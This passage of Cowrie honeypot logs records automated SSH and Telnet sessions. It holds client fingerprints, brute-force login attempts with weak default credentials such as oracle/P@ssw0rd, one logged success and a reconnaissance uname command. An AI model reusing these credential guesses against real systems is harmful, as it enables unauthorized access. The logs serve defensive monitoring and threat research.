-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:02.547986Z","src_ip":"91.92.40.36","session":"6ab3223c5f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37446,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3ef6452e892","protocol":"ssh","message":"New connection: 91.92.40.36:37446 (10.17.0.5:22) [session: f3ef6452e892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:03.153407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:05.692653Z","src_ip":"91.92.40.36","session":"f3ef6452e892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:05.696988Z","src_ip":"91.92.40.36","session":"f3ef6452e892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":53122,"dst_ip":"10.17.0.5","dst_port":22,"session":"624a82b52a75","protocol":"ssh","message":"New connection: 101.36.122.139:53122 (10.17.0.5:22) [session: 624a82b52a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:05.808019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:05.812755Z","src_ip":"101.36.122.139","session":"624a82b52a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:06.029920Z","src_ip":"101.36.122.139","session":"624a82b52a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123abc","message":"login attempt [user/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:06.935090Z","src_ip":"101.36.122.139","session":"624a82b52a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:08.159546Z","src_ip":"101.36.122.139","session":"624a82b52a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26604,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d33db29218","protocol":"ssh","message":"New connection: 91.92.40.36:26604 (10.17.0.5:22) [session: e9d33db29218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:10.017428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:12.401385Z","src_ip":"91.92.40.36","session":"e9d33db29218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:12.404677Z","src_ip":"91.92.40.36","session":"e9d33db29218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:12.971057Z","src_ip":"91.92.40.36","session":"6ab3223c5f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:16.205394Z","src_ip":"91.92.40.36","session":"f3ef6452e892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":36654,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd90a66ca6a","protocol":"ssh","message":"New connection: 178.20.210.208:36654 (159.203.135.109:22) [session: 4bd90a66ca6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:18.188047Z"}
{"eventid":"cowrie.session.closed","duration":"18.6","message":"Connection lost after 18.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:18.258227Z","src_ip":"91.92.40.36","session":"6ab3223c5f9f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:18.856837Z","src_ip":"178.20.210.208","session":"4bd90a66ca6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:18.859816Z","src_ip":"178.20.210.208","session":"4bd90a66ca6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"test","message":"login attempt [user1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:19.535408Z","src_ip":"178.20.210.208","session":"4bd90a66ca6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49150,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a63a90e6917","protocol":"ssh","message":"New connection: 91.92.40.36:49150 (10.17.0.5:22) [session: 1a63a90e6917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:19.735662Z"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:19.755555Z","src_ip":"91.92.40.36","session":"f3ef6452e892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:20.643036Z","src_ip":"178.20.210.208","session":"4bd90a66ca6a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:21.600052Z","src_ip":"91.92.40.36","session":"1a63a90e6917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:21.609286Z","src_ip":"91.92.40.36","session":"1a63a90e6917","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:22.216876Z","src_ip":"91.92.40.36","session":"e9d33db29218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":38528,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3e1f1e9005d","protocol":"ssh","message":"New connection: 160.187.180.146:38528 (159.203.135.109:22) [session: b3e1f1e9005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:23.498291Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:25.712624Z","src_ip":"91.92.40.36","session":"e9d33db29218","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:25.715725Z","src_ip":"91.92.40.36","session":"e9d33db29218","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:27.163138Z","src_ip":"91.92.40.36","session":"e9d33db29218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:27.168394Z","src_ip":"91.92.40.36","session":"e9d33db29218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14760,"dst_ip":"10.17.0.5","dst_port":22,"session":"29de3dc39cf8","protocol":"ssh","message":"New connection: 91.92.40.36:14760 (10.17.0.5:22) [session: 29de3dc39cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:27.944449Z"}
{"eventid":"cowrie.login.failed","username":"gold","password":"gold","message":"login attempt [gold/gold] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:28.385516Z","src_ip":"91.92.40.36","session":"1a63a90e6917","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:29.176343Z","src_ip":"91.92.40.36","session":"29de3dc39cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:29.180023Z","src_ip":"91.92.40.36","session":"29de3dc39cf8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:30.748225Z","src_ip":"160.187.180.146","session":"b3e1f1e9005d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:30.752133Z","src_ip":"160.187.180.146","session":"b3e1f1e9005d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:30.859017Z","src_ip":"160.187.180.146","session":"b3e1f1e9005d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:31.299308Z","src_ip":"91.92.40.36","session":"1a63a90e6917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":55106,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d54bd5731db","protocol":"ssh","message":"New connection: 201.17.146.173:55106 (159.203.135.109:22) [session: 9d54bd5731db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:33.909242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:33.912988Z","src_ip":"201.17.146.173","session":"9d54bd5731db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:34.060095Z","src_ip":"201.17.146.173","session":"9d54bd5731db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.14.31.64","src_port":38104,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f5f5bba753","protocol":"telnet","message":"New connection: 180.14.31.64:38104 (10.17.0.5:23) [session: c1f5f5bba753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:34.306251Z"}
